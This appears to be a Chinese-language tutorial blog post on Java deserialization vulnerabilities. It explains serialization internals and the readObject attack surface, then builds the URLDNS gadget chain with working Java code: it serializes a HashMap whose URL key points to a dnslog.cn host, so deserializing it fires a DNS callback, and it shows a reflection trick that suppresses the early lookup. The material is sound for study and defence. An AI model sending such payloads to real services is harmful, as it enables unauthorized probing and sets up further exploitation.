java安全-反序列化
java安全-反序列化
一、序列化与反序列化
1.什么是序列化与反序列化?
在 Java 的世界里,一切皆对象(Object)。对象存在于内存中,当程序停止运行时,内存中的对象就会消失。
想把这个对象:
- 保存下来(保存到文件、数据库);
- 传输给别人(通过网络发送到另一台服务器);
我们就需要一种机制来转换这个对象。
- 序列化 (Serialization): 把内存中的“Java 对象”转换成“二进制字节流(byte stream)”的过程。
- 反序列化 (Deserialization): 把“二进制字节流”恢复成“Java 对象”的过程。
2. Java 如何实现反序列化?
- java.io.Serializable 接口:只有实现了这个接口的类,其对象才能被序列化。
- ObjectOutputStream:负责序列化的方法。
- ObjectInputStream:负责反序列化的方法。
3.常见反序列化技术
- JSON (最主流):
- 工具:Jackson, Gson, Fastjson。
- 优点:文本格式,人类可读,跨语言通用(前端 JS 也能读)。
- XML:
- 虽然老旧,但在某些传统行业(如银行接口)还在用。
- Protocol Buffers (Protobuf) / Thrift:
- Google 和 Facebook 开发的。
- 优点:二进制格式,体积极小,速度极快,适合高性能的微服务调用(RPC)。
4.反序列化底层原理
- 读流:
readObject()启动,校验魔数。 - 加载类:
Class.forName(),检查serialVersionUID。 - 分配内存:
- 本身:
Unsafe.allocateInstance()(不调构造)。 - 父类:如果父类没实现
Serializable,调用父类无参构造。
- 本身:
- 数据恢复(分支路径):
- 路径 A(普通):反射
field.set()暴力赋值(transient字段跳过)。 - 路径 B(危险):发现有
readObject()方法 -> 调用之 -> 此时可能触发恶意代码(RCE)。
- 路径 A(普通):反射
- 后续处理:
- 检查是否有
readResolve()(用于挽救单例)。
- 检查是否有
- 返回对象:这就得到了一个完整的 Java 对象。
5.注意点
- 静态变量无法序列化
- transient 标识的对象成员变量不参与序列化
- 为什么父类没实现
Serializable时必须要有无参构造?- 反序列化不会执行构造方法,但它必须让所有“没有序列化能力的父类(非
Serializable)”通过无参构造方法来初始化基础状态。
- 反序列化不会执行构造方法,但它必须让所有“没有序列化能力的父类(非
- 序列化类的属性没有实现 Serializable 那么在序列化就会报错
二、代码实现
1.复现代码
persion.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}SerializationTest.java
1
2
3
4
5
6
7
8
9
10
11
12public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}UnserializeTest.java
1
2
3
4
5
6
7
8
9
10
11public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
2.反序列化漏洞成因
- 在进行反序列化时,会调用被反序列化主函数而这个函数一般都为程序员自行改写的readObject函数

3.常见形式
入口类的
readObject直接调用危险方法
入口参数中包含可控类,该类有危险方法,
readObject时调用入口类参数中包含可控类,该类又调用其他有危险方法的类
1 | 入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带) |
4.常见链dnslog分析
寻找入口点
HashMap中重写了readObject方法
而该方法又调用了
hash方法
hash方法内部调用object类方法中hashcode方法,而该方法被许多类重写,从而导致可利用漏洞
寻找可利用类
我们发现URL类中重写了
hashcode函数
而该函数调用了抽象类
URLStreamHandler中hashCode方法1
transient URLStreamHandler handler;
该方法存在解析服务器地址,即
dns请求
尝试利用
故因此我们尝试利用该链实现
dnslog探测1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//反射获取URL类的hashCode字段
Class URLClass = Class.forName("java.net.URL");
Field hashCode = URLClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
Map<URL,Integer> map = new HashMap<>();
URL url = new URL("https://3b6hft.dnslog.cn");
//将hashCode字段值设置为1234,从而不会触发put时的hashCode计算
hashCode.set(url,1234);
map.put(url,1);
//put完成之后设置其值为-1,从而导致之后反序列化时触发hashCode计算
hashCode.set(url,-1);
serialize(map);1
unserialize("ser.bin");

4.”程咬金”
我们在利用时遇到一些问题,如下:
map.put(url,1);这个方法在put时,调用了hash函数
进而计算
hashcode值,改变了URL类下hashcode的值,并调用抽象类URLStreamHandler中hashCode方法,发起一次dns请求
干扰了dnslog利用探测,在序列化之前就发生了dnslog解析
由于被
map.put(url,1);方法抢先调用hashcode解析请求,导致在反序列化文本字节流时,hashcode值早已不是-1,从而不会调用抽象类URLStreamHandler中hashCode方法,发起dns请求
即进入下图上方if语句判断,不在发起dns请求
于是,我们利用反射绕过逻辑
1 | //反射获取URL类的hashCode字段 |
由此,实现我们最终效果,只有在反序列化字节流时,触发dnslog请求
